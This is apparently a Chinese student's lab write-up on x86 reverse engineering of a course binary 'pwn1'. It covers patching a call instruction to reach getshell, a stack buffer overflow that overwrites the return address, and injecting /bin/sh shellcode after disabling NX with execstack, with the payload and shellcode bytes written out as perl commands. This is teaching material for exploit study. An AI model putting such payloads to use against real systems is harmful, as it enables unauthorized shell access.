• 20155301PC平台逆向破解


    20155301PC平台逆向破解

    1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)

    JNE:条件转移指令,如果不相等则跳转。(机器码:75)

    JE:条件转移指令,如果相等则跳转。(机器码:74)

    JMP:无条件转移指令。段内直接短转Jmp

    short(机器码:EB)段内直接近转移Jmp

    near(机器码:E9)段内间接转移Jmp

    word(机器码:FF)段间直接(远)转移Jmp

    far(机器码:EA)

    CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

    2.掌握objdump命令、vi基本命令、查看寄存器的命令

    1.objdump -d test:反汇编test

    2.info r:查看寄存器

    3.:%!xxd:查看二进制文件

    实验过程

    1.利用

    objdump -d + 文件名
    

    将可执行程序进行反汇编,变成机器指令

    2.利用vi编辑器打开文件,并用:%!xxd将文件以16进制的形式打开

    3.我们如果想要用到shell功能,就要使main函数不调用foo函数,而是调用getshell函数,这一点我们可以通过直接修改机器指令做到。

    4.找到与调用foo函数有关的机器指令,由图可得,call 8048491是汇编指令,即,将调用位于地址8048491处的foo函数;对应机器指令为e8 d7ffffff,所以我们要将机器指令中foo函数的物理地址改为getshell函数的物理地址

    5.由汇编指令及其对应的机器指令,我们可得:0xd7ffffff+0x80484ba = 0x8048491
    即:call机器码 = 跳转地址 - call指令的下一个eip 所以可以算出调用getshell函数的机器码为e8 c3ffffff,所以我们只要将d7修改为c3即可

    6.输入/e8 d7搜索所在位置,找到后按回车,按i进入编辑模式,将d7改为c3,按 esc退出编辑模式,输入:%!xxd -r退出16进制模式,保存退出。

    7.运行程序

    通过构造输入参数,造成BOF攻击,改变程序执行流

    1.利用gdb调试确认输入字符串哪几个字符会覆盖到返回地址,即输入多少字符会出错。

    2.找到导致出错的字符位置,并查看当前寄存器的值,尤其是eip的值

    3.可以观察到是最后的“1234”四个字符覆盖了eip寄存器的值,那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。

    4.确认用什么值来覆盖返回地址,即将“1234”变成shellcode的内存地址,通过前一步的反汇编结果我们知道,shellcode的内存地址是0804847d。

    5.修改”1234“的值之前要弄清机器是大端还是小段,在之前测试字符溢出的过程中,1234覆盖了eip的值,此时eip的值为0x34333231,1的ASCII的值是49,16进制为“31”可以知道机器是小端,所以正确的输入是“11111111222222223333333344444444x7dx84x04x08”

    6.通过建立一个输入文件,因为在终端输入的时候没法通过键盘输入x7dx84x04x08这样的数字,这时就需要用到以下的命令构造输入文件。

    perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
    
    

    7.然后将input的输入,通过管道符“|”,作为pwn1的输入

    (cat input; cat) | ./pwn1
    

    注入Shellcode并执行

    1.准备工作:结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了,所以我们先要安装“execstack”,之后通过execstack -s pwn1 设置堆栈可执行,execstack -q pwn1 查询文件的堆栈是否可执行,execstack -q pwn1 查询文件的堆栈是否可执行
    准备工作结束后

    2.准备工作结束后,输入下列代码

    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
    

    上面最后的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
    特别提醒:最后一个字符千万不能是x0a。不然下面的操作就做不了了。

    3.接下来我们来确定x4x3x2x1到底该填什么。首先打开一个终端注入这段攻击buf:

    (cat input_shellcode;cat) | ./pwn1
    
    

    4.先找到进程号,输入

    ps -ef | grep pwn1
    
    

    ①找到有关pwn1的进程,查看进程号。

    ②启动gdb调试这个进程,通过设置断点,来查看注入buf的内存地址,并确定函数的返回函数的内存地址。

    ③查看esp寄存器的值,并不断往前找shellcode开始的地方,将返回地址改为找到shellcode返回地址加4个字节的地址。

    ④用ls命令测试是否成功改到shell code,结构失败

    5.重新开始,将③的地址变成shellcode地址上一步的结束地址,发现可以输入ls等shellcode命令。

  • 相关阅读:
    元组的魔法
    列表的魔法
    基础知识
    Pycharm常用快捷键
    django-debug-toolbar
    char 与 varchar 的区别
    Python试题(web篇)
    博客园样式
    网络编程部分试题
    python复习基础题目
  • 原文地址:https://www.cnblogs.com/fengxingck/p/8543502.html
Copyright © 2020-2023  润新知